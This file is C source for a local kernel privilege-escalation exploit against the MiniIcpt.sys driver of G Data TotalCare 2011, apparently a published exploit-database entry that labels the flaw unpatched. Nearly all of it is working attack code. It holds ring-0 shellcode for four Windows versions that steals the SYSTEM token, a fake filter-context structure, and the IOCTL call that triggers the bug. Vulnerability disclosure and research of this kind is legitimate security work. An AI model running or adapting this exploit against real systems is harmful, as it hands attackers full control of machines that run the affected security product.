/* # Exploit Title: G Data TotalCare 2011 0day Local Kernel Exploit # Date: 2010-11-08 # Author: Nikita Tarakanov (CISS Research Team) # Software Link: http://www.gdata.de/ # Version: up to date, version 21.1.0.5, MiniIcpt.sys version 1.0.8.9 # Tested on: Win XP SP3 # CVE : CVE-NO-MATCH # Status : Unpatched */ #include #include "winsock2.h" #include #pragma comment(lib, "wininet.lib") #pragma comment(lib, "Ws2_32.lib") static unsigned char win2k3_ring0_shell[] = /* _ring0 */ "\xb8\x24\xf1\xdf\xff" "\x8b\x00" "\x8b\xb0\x18\x02\x00\x00" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x94\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\x9c\x00\x00\x00" "\x2d\x98\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found */ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x94\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\x9c\x00\x00\x00" "\x2d\x98\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "\x8b\x89\xd8\x00\x00\x00" "\x89\x88\xd8\x00\x00\x00" "\x90"; static unsigned char winvista_ring0_shell[] = /* _ring0 */ "\x64\xa1\x24\x01\x00\x00" //"\x8b\x00" "\x8b\x70\x48" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x9c\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\xa4\x00\x00\x00" "\x2d\xa0\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found */ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x9c\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\xa4\x00\x00\x00" "\x2d\xa0\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "\x8b\x89\xe0\x00\x00\x00" "\x89\x88\xe0\x00\x00\x00" "\x90"; static unsigned char win7_ring0_shell[] = /* _ring0 */ "\x64\xa1\x24\x01\x00\x00" "\x8b\x70\x50" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\xb4\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\xbc\x00\x00\x00" "\x2d\xb8\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found */ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\xb4\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\xbc\x00\x00\x00" "\x2d\xb8\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "\x8b\x89\xf8\x00\x00\x00" "\x89\x88\xf8\x00\x00\x00" "\x90"; static unsigned char winxp_ring0_shell[] = /* _ring0 */ "\xb8\x24\xf1\xdf\xff" "\x8b\x00" "\x8b\x70\x44" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x84\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\x8c\x00\x00\x00" "\x2d\x88\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found */ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x84\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\x8c\x00\x00\x00" "\x2d\x88\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "\x8b\x89\xc8\x00\x00\x00" "\x89\x88\xc8\x00\x00\x00" "\x90"; static unsigned char freeze[] = "\xeb\xfe";// jmp $0 void craft_fake_flt_context(char* buff, LPVOID shellcode_addr) { DWORD references = 1; DWORD *Entry; Entry = (DWORD*)malloc(0x8); Entry[0] = Entry;//Entry[0] == esi Entry[1] = shellcode_addr;//[esi+4] - r0 shellcode memcpy(buff-0x4, &references, 0x4); memcpy(buff-0x28, Entry, 0x4); } static PCHAR fixup_ring0_shell (DWORD ppid, DWORD *zlen) { DWORD dwVersion, dwMajorVersion, dwMinorVersion; dwVersion = GetVersion (); dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion))); dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion))); printf("dwMajorVersion = %d dwMinorVersion %d\n", dwMajorVersion, dwMinorVersion); switch (dwMajorVersion) { case 5: switch (dwMinorVersion) { case 1: *zlen = sizeof winxp_ring0_shell - 1; *(PDWORD) &winxp_ring0_shell[55] = ppid; return (winxp_ring0_shell); case 2: *zlen = sizeof win2k3_ring0_shell - 1; *(PDWORD) &win2k3_ring0_shell[58] = ppid; return (win2k3_ring0_shell); default: printf("GetVersion, unsupported version\n"); exit(EXIT_FAILURE); } case 6: switch (dwMinorVersion) { case 0: *zlen = sizeof winvista_ring0_shell - 1; *(PDWORD) &winvista_ring0_shell[54] = ppid; return (winvista_ring0_shell); case 1: *zlen = sizeof win7_ring0_shell - 1; *(PDWORD) &win7_ring0_shell[54] = ppid; return (win7_ring0_shell); default: printf("GetVersion, unsupported version\n"); exit(EXIT_FAILURE); } default: printf("GetVersion, unsupported version\n"); exit(EXIT_FAILURE); } return (NULL); } int main(int argc, char **argv) { HANDLE hDevice, hThread; char *inbuff, *inbuffer; DWORD *buff; DWORD ioctl = 0x83170180, in = 0xC, out = 0x0C, len, zlen, ppid; LPVOID zpage, zbuf; printf ("G Data TotalCare 2011 0day Local Kernel Exploit\n" "by: Nikita Tarakanov (CISS Research Team)\n"); if (argc <= 1) { printf("Usage: %s \n", argv[0]); return 0; } ppid = atoi(argv[1]); zpage = VirtualAlloc(NULL, 0x1000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (zpage == NULL) { printf("VirtualAlloc failed\n"); return 0; } printf("Ring 0 shellcode at 0x%08X address\n", zpage, 0x10000); memset(zpage, 0xCC, 0x1000); zbuf = fixup_ring0_shell(ppid, &zlen); memcpy((PCHAR)zpage, (PCHAR)zbuf, zlen); memcpy((PCHAR)zpage + zlen, (PCHAR)freeze, sizeof (freeze) - 1); if ( (hDevice = CreateFileA("\\\\.\\MiniIcptControlDevice0", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL) ) != INVALID_HANDLE_VALUE ) { printf("Device succesfully opened!\n"); } else { printf("Error: Error opening device \n"); return 0; } inbuff = (char *)malloc(0x1000); memset(inbuff, 0x90, 0x1000); buff = (DWORD *)malloc(0x1000); if(!inbuff){ printf("malloc failed!\n"); return 0; } inbuffer = inbuff + 0x40; printf("crafting\n"); craft_fake_flt_context(inbuffer, zpage); printf("deviceio!\n"); buff[0] = inbuffer; DeviceIoControl(hDevice, ioctl, buff, in, buff, out, &len, NULL); free(inbuff); return 0; }